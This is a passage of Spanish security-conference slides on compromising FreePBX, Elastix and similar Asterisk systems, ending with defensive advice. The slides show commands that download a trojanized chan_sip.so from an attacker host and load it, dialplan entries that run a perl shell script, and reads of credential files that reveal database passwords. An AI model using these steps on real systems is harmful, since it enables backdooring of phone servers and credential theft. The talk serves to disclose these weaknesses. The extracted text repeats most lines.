Page 95: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones
Page 96: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

Repetimos el proceso …Repetimos el proceso …

sh-4.1$sh-4.1$ cd /var/lib/asterisk/moh/modules/ cd /var/lib/asterisk/moh/modules/

sh-4.1$sh-4.1$ rm chan_sip.so rm chan_sip.so

sh-4.1$sh-4.1$ wget http://192.168.2.9:/freepbx/chan_sip.so wget http://192.168.2.9:/freepbx/chan_sip.so

Page 97: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

Repetimos el proceso …Repetimos el proceso …

sh-4.1$ sh-4.1$ cd /var/lib/asterisk/moh/modules/ cd /var/lib/asterisk/moh/modules/

sh-4.1$ sh-4.1$ rm chan_sip.so rm chan_sip.so

sh-4.1$sh-4.1$ wget http://192.168.2.9:/freepbx/chan_sip.so wget http://192.168.2.9:/freepbx/chan_sip.so

Recargamos el módulo ...Recargamos el módulo ...

sh-4.1$sh-4.1$ asterisk -rx "module unload chan_sip.so" asterisk -rx "module unload chan_sip.so"

sh-4.1$sh-4.1$ asterisk -rx "module load chan_sip.so" asterisk -rx "module load chan_sip.so"

Page 98: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

Repetimos el proceso …Repetimos el proceso …

sh-4.1$sh-4.1$ cd /var/lib/asterisk/moh/modules/ cd /var/lib/asterisk/moh/modules/

sh-4.1$sh-4.1$ rm chan_sip.so rm chan_sip.so

sh-4.1$sh-4.1$ wget http://192.168.2.9:/freepbx/chan_sip.so wget http://192.168.2.9:/freepbx/chan_sip.so

Recargamos el módulo ...Recargamos el módulo ...

sh-4.1$sh-4.1$ asterisk -rx "module unload chan_sip.so" asterisk -rx "module unload chan_sip.so"

sh-4.1$sh-4.1$ asterisk -rx "module load chan_sip.so" asterisk -rx "module load chan_sip.so"

Loaded module chan_sip.soLoaded module chan_sip.so

Page 99: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

Repetimos el proceso …Repetimos el proceso …

sh-4.1$sh-4.1$ cd /var/lib/asterisk/moh/modules/ cd /var/lib/asterisk/moh/modules/

sh-4.1$sh-4.1$ rm chan_sip.so rm chan_sip.so

sh-4.1$sh-4.1$ wget http://192.168.2.9:/freepbx/chan_sip.so wget http://192.168.2.9:/freepbx/chan_sip.so

Recargamos el módulo ...Recargamos el módulo ...

sh-4.1$sh-4.1$ asterisk -rx "module unload chan_sip.so" asterisk -rx "module unload chan_sip.so"

sh-4.1$sh-4.1$ asterisk -rx "module load chan_sip.so" asterisk -rx "module load chan_sip.so"

Loaded module chan_sip.soLoaded module chan_sip.so

Hemos troyanizado el Asterisk!!Hemos troyanizado el Asterisk!!

Page 100: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

Repetimos el proceso …Repetimos el proceso …

sh-4.1$sh-4.1$ cd /var/lib/asterisk/moh/modules/ cd /var/lib/asterisk/moh/modules/

sh-4.1$sh-4.1$ rm chan_sip.so rm chan_sip.so

sh-4.1$sh-4.1$ wget http://192.168.2.9:/freepbx/chan_sip.so wget http://192.168.2.9:/freepbx/chan_sip.so

Recargamos el módulo ...Recargamos el módulo ...

sh-4.1$sh-4.1$ asterisk -rx "module unload chan_sip.so" asterisk -rx "module unload chan_sip.so"

sh-4.1$sh-4.1$ asterisk -rx "module load chan_sip.so" asterisk -rx "module load chan_sip.so"

Loaded module chan_sip.soLoaded module chan_sip.so

Hemos troyanizado el Asterisk!!Hemos troyanizado el Asterisk!!

Page 101: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

DEMODEMO

(con la última versión de FreePBX)(con la última versión de FreePBX)

¡¡ Veamos un caso práctico !!¡¡ Veamos un caso práctico !!

Page 102: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

El problema es que con todo esto, habremos dejado muchos El problema es que con todo esto, habremos dejado muchos logs ...logs ...

Page 103: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

El problema es que con todo esto, habremos dejado muchos El problema es que con todo esto, habremos dejado muchos logs ...logs ...

No pasa nada, los logs No pasa nada, los logs tambiéntambién son propiedad del usuario son propiedad del usuario asteriskasterisk!!

sh-4.1$sh-4.1$ ls -la /var/log/asterisk -la ls -la /var/log/asterisk -la

Page 104: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

El problema es que con todo esto, habremos dejado muchos El problema es que con todo esto, habremos dejado muchos logs ...logs ...

No pasa nada, los logs No pasa nada, los logs tambiéntambién son propiedad del usuario son propiedad del usuario asteriskasterisk!!

sh-4.1$sh-4.1$ ls -la /var/log/asterisk -la ls -la /var/log/asterisk -la

Page 105: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

- La web es mucho más estricta y no podemos inyectar el script desde - La web es mucho más estricta y no podemos inyectar el script desde el CLIel CLI

Otros sistemasOtros sistemas

Page 106: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

- La web es mucho más estricta y no podemos inyectar el script desde el - La web es mucho más estricta y no podemos inyectar el script desde el CLICLI

- Pero trae un editor de ficheros que nos permite crear un nuevo fichero - Pero trae un editor de ficheros que nos permite crear un nuevo fichero con la shell:con la shell:

- Creamos a mano el plan de llamadas en extensions.conf (o desde el CLI):- Creamos a mano el plan de llamadas en extensions.conf (o desde el CLI):dialplan reloaddialplan reload

dialplan add extension 999,1,answer, into from-internaldialplan add extension 999,1,answer, into from-internal

dialplan add extension 999,2,system,/usr/bin/perl</etc/asterisk/shell.conf into from-internaldialplan add extension 999,2,system,/usr/bin/perl</etc/asterisk/shell.conf into from-internal

dialplan add extension 999,3,hangup, into from-internaldialplan add extension 999,3,hangup, into from-internal

Otros sistemasOtros sistemas

Page 107: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

- Una vez dentro, lo mismo que antes.- Una vez dentro, lo mismo que antes.

bash-3.2$ bash-3.2$ idid

uid=100(asterisk) gid=101(asterisk)uid=100(asterisk) gid=101(asterisk)

- Durante la instalación nos obliga a poner una contraseña al usuario - Durante la instalación nos obliga a poner una contraseña al usuario root de mysql. root de mysql.

Otros sistemasOtros sistemas

Page 108: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

- Una vez dentro, lo mismo que antes.- Una vez dentro, lo mismo que antes.

bash-3.2$ bash-3.2$ idid

uid=100(asterisk) gid=101(asterisk)uid=100(asterisk) gid=101(asterisk)

- Durante la instalación nos obliga a poner una contraseña al usuario - Durante la instalación nos obliga a poner una contraseña al usuario root de mysql. root de mysql.

Pero:Pero:

bash-3.2$ bash-3.2$ cat /etc/elastix.confcat /etc/elastix.conf

mysqlrootpwd=mysqlrootpwd=asterisk01asterisk01 ← ← Contraseña de root para mysqlContraseña de root para mysql

cyrususerpwd=cyrususerpwd=asterisk01asterisk01 ← ← Contraseña de IMAPdContraseña de IMAPd

amiadminpwd=amiadminpwd=web01web01 ← ← Contraseña del administrador de la webContraseña del administrador de la web

Otros sistemasOtros sistemas

Page 109: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

Al igual que ocurre con FreePBX:Al igual que ocurre con FreePBX:

- La web es propiedad del usuario - La web es propiedad del usuario asteriskasterisk..

- Los ficheros de configuración de - Los ficheros de configuración de AsteriskAsterisk son también propiedad del son también propiedad del usuario usuario asteriskasterisk, y el proceso para cambiar un módulo es el mismo., y el proceso para cambiar un módulo es el mismo.

- Una vez tenemos acceso al sistema, la configuración es - Una vez tenemos acceso al sistema, la configuración es prácticamente la misma que en una FreePBX.prácticamente la misma que en una FreePBX.

Otros sistemasOtros sistemas

Page 110: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

- La web no trae interfaz para el CLI.- La web no trae interfaz para el CLI.

Otros sistemasOtros sistemas

Page 111: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

- La web no trae interfaz para el CLI- La web no trae interfaz para el CLI

Pero trae un editor de ficheros que nos permite modificar ficheros de Pero trae un editor de ficheros que nos permite modificar ficheros de configuración:configuración:

- Creamos a mano el plan de llamadas en extensions.conf:- Creamos a mano el plan de llamadas en extensions.conf:

[from-internal][from-internal]

exten => 999,1,answer()exten => 999,1,answer()

exten => 999,2,system(/usr/bin/perl</etc/asterisk/sip_custom.conf)exten => 999,2,system(/usr/bin/perl</etc/asterisk/sip_custom.conf)

exten => 999,3,hangup()exten => 999,3,hangup()

Otros sistemasOtros sistemas

Page 112: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

- Una vez dentro, lo mismo que antes.- Una vez dentro, lo mismo que antes.

bash-3.2$ bash-3.2$ idid

uid=100(asterisk) gid=101(asterisk)uid=100(asterisk) gid=101(asterisk)

bash-3.2$ bash-3.2$ grep AMPDB /etc/amportal.confgrep AMPDB /etc/amportal.conf

AMPDBNAME=asterisk ←AMPDBNAME=asterisk ← BBDD de AsteriskBBDD de Asterisk

AMPDBUSER=asteriskuser ←AMPDBUSER=asteriskuser ← Usuario para mysqlUsuario para mysql

AMPDBPASS=AMPDBPASS=amp109amp109 ← ← Contraseña para mysqlContraseña para mysql

- La web y el Asterisk, también son propiedad del usuario - La web y el Asterisk, también son propiedad del usuario asteriskasterisk, al , al igual que en las otras distribuciones.igual que en las otras distribuciones.

Otros sistemasOtros sistemas

Page 113: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

- Acceso total a la Base de Datos (permitiendo crear accesos desde el - Acceso total a la Base de Datos (permitiendo crear accesos desde el exterior)exterior)

- Acceso total a la Web (permitiendo modificarla o subir una shell)- Acceso total a la Web (permitiendo modificarla o subir una shell)

- Acceso total al Asterisk (permitiendo cambiar o añadir módulos)- Acceso total al Asterisk (permitiendo cambiar o añadir módulos)

¿Qué hemos conseguido con un ¿Qué hemos conseguido con un simple acceso a la web?simple acceso a la web?

Page 114: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

Si no sabemos configurar un Asterisk de forma manual y necesitamos Si no sabemos configurar un Asterisk de forma manual y necesitamos usar este tipo de plataformas, debemos tomar unas mínimas medidas usar este tipo de plataformas, debemos tomar unas mínimas medidas de seguridad:de seguridad:

- Restringir el acceso a la web únicamente desde la red local.- Restringir el acceso a la web únicamente desde la red local.

- Proteger la web con usuario y contraseña mediante un htaccess.- Proteger la web con usuario y contraseña mediante un htaccess.

- Evitar el uso de redes inalámbricas que permitan a un extraño - Evitar el uso de redes inalámbricas que permitan a un extraño monitorizar nuestra red.monitorizar nuestra red.

- Mantener el sistema siempre actualizado.- Mantener el sistema siempre actualizado.

- Rezar.- Rezar.

SolucionesSoluciones

Page 115: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

Espero que os haya gustadoEspero que os haya gustado

¿Preguntas?¿Preguntas?

Jose Luis VerdeguerJose Luis Verdeguer

Twitter: @pepeluxx@pepeluxx [email protected] [email protected]

http://blog.pepelux.orghttp://www.zoonsuite.es


Recommended